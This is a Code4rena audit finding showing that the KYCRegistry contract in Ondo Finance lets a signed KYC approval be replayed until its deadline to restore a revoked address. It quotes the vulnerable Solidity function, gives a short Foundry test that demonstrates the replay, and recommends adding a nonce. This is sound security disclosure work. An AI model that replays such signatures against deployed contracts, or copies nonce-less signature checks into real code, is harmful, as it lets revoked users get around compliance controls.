addKYCAddressViaSignature can be replayed

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/kyc/KYCRegistry.sol#L79-L112

Vulnerability details

Impact

Attacker can replay KYCRegistry.addKYCAddressViaSignature to reinstate a previously revoked KYC address. Since KYC is an important part of Ondo Finance, the risk is relatively high. This issue is partially mitigated assuming the deadline is reasonably set.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/kyc/KYCRegistry.sol#L79-L112

  function addKYCAddressViaSignature(
    uint256 kycRequirementGroup,
    address user,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external {
    require(v == 27 || v == 28, "KYCRegistry: invalid v value in signature");
    require(
      !kycState[kycRequirementGroup][user],
      "KYCRegistry: user already verified"
    );
    require(block.timestamp <= deadline, "KYCRegistry: signature expired");
    bytes32 structHash = keccak256(
      abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user, deadline)
    );
    // https://eips.ethereum.org/EIPS/eip-712 compliant
    bytes32 expectedMessage = _hashTypedDataV4(structHash);

    // `ECDSA.recover` reverts if signer is address(0)
    address signer = ECDSA.recover(expectedMessage, v, r, s);
    _checkRole(kycGroupRoles[kycRequirementGroup], signer);

    kycState[kycRequirementGroup][user] = true;

    emit KYCAddressAddViaSignature(
      msg.sender,
      user,
      signer,
      kycRequirementGroup,
      deadline
    );
  }

Proof of Concept

Add this to https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/forge-tests/cash/registry/RegistrySignature.t.sol#L91

  address[] addresses;
  function test_signature_replay() public {
    test_signature_add_happy_case();

    addresses.push(user1);
    vm.startPrank(signer);
    registry.removeKYCAddresses(1, addresses);
    vm.stopPrank();
    assertEq(registry.getKYCStatus(1, user1), false);

    test_signature_add_happy_case();
  }

Tools Used

Foundry

Recommended Mitigation Steps

Add a nonce or store used sig

[c4-judge]

trust1995 marked the issue as duplicate of #187

[c4-judge]

trust1995 marked the issue as satisfactory